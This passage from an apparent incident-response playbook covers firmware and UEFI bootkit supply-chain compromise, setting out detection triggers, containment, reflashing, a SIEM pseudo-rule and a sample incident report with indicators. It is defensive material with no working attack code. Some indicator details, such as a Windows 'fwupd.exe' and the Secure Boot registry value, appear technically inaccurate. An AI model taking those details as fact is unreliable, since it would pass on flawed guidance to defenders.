- Malicious firmware updates from compromised OEM servers
- A supply chain attack inserting malicious code into BIOS or UEFI firmware
- Firmware persistence implants or bootkits that survive OS reinstallation
- Use of low-level tools like chipsec, fwupd, UEFI shell scripts or implanting rootkits into SPI flash

These implants allow full control over the endpoint before the operating system loads, making it nearly invisible to EDR, antivirus or OS-level logging. Attackers often use this for long-term persistence, espionage or as a last-stage payload in APT operations.

3. Detection Steps

3.1 Monitor for Suspicious Firmware Update Behaviour

- Data Source: Endpoint logs, firmware update tools, network monitoring
- Detection Trigger:
    - Execution of unsigned or unusual firmware update utilities
    - Traffic to known OEM update URLs from non-OEM software
    - Update attempts outside official IT maintenance windows

3.2 Anomalies During Boot Sequence

- Data Source: Endpoint BIOS telemetry, system firmware logs, boot logs
- Detection Trigger:
    - Presence of unknown bootloader entries in EFI partition

    - Delays, errors or altered sequence in early boot
    - UEFI Secure Boot disabled without change control record

3.3 Lack of Visibility Combined with Compromise Signs

- Data Source: EDR, SIEM, hardware telemetry
- Detection Trigger:
    - Endpoint behaves as if compromised but shows no signs in system logs
    - Attempts to wipe logs or prevent endpoint boot in recovery mode
    - Host reboots with changes to firmware hash or boot configuration (MBR/GPT)

4. Response Actions

4.1 Immediate Containment

Action 1: Disconnect affected systems from network

- Prevent lateral movement or remote control of implant
- Isolate both wired and wireless access

Action 2: Verify firmware integrity with vendor tools

- Use chipsec, fwts or OEM-provided tools to compare firmware hashes
- Cross-check against known-good firmware image

Action 3: Quarantine the device and notify OEM

- If compromise is confirmed, do not trust normal OS boot
- Remove from service and escalate to supply chain and OEM response teams

5. Investigation

5.1 Determine Entry Point

Action 4: Trace firmware update activity

- Was there a firmware update recently pushed? By what tool, from what source?
- Identify if it came from legitimate OEM infrastructure or was manually installed

Action 5: Check for user or automated triggers

- Was fwupd or similar tool run via script, scheduled task or attacker payload?
- Any unusual GPOs or remote tools used to distribute firmware updates?

5.2 Assess Persistence and Scope

Action 6: Analyse other endpoints for same signs

- Do other systems of the same model or batch show similar firmware changes?
- Verify bootloader entries and UEFI status across environment

Action 7: Perform hardware-assisted memory forensic imaging

- If possible, dump SPI flash or BIOS ROM
- Send to trusted analysis lab (internal or third-party DFIR)

6. Recovery and Remediation

6.1 Restore Firmware Integrity

Action 8: Flash clean firmware using external tools

- Use hardware programmer (e.g., Dediprog) to write known-good firmware
- Reflash from external USB boot tool with vendor-certified firmware

Action 9: Rebuild endpoint from trusted source

- Full reimage of OS, re-apply secure configuration
- Validate system time, hardware hashes, UEFI security settings

6.2 Prevent Future Firmware Attacks

Action 10: Enforce Secure Boot and firmware lockdown

- Enable Secure Boot with signed, verified bootloader
- Lock firmware updates to require signed images and admin approval

Action 11: Limit firmware update channels

- Block internet-based firmware update utilities
- Route all firmware updates through verified IT pipeline with logging

7. Lessons Learned

7.1 Firmware-Level Threat Modeling and Supply Chain Audits

Action 12: SIEM rule for unexpected firmware update attempt

rule: Unexpected Firmware Update Detected

if process == fwupd or chipsec
and signed == false
and update_time outside_maintenance_window == true
then alert

Action 13: DFIR readiness for hardware attacks

- Maintain playbooks and tools for hardware forensic extraction
- Partner with labs or vendors who can verify firmware integrity

Action 14: Vendor and supply chain risk assessment

- Require SBOM (Software Bill of Materials) and secure firmware pipeline assurance
- Audit OEM patch delivery systems and digital signing controls

8. Reporting and Documentation

- Incident ID: DRP-2025-050
- Severity: Critical (Firmware-level persistence and supply chain compromise)
- Impact: 3 executive laptops showed BIOS modification; persistence confirmed even after reimage
- IOCs Collected:
    - Modified bootloader entry: \EFI\Microsoft\Boot\maliciousx64.efi
    - Disabled Secure Boot: registry key HKLM\BCD\Elements\16000020 set to off
    - Firmware tool: fwupd.exe run via script with unsigned payload
- MITRE Mapping:
    - T1542.003 – Bootkit
    - T1542.001 – BIOS Modification
    - T1195.002 – Software Supply Chain
    - T1562 – Defense Impairment
    - T1200 – Hardware Additions (in some variants)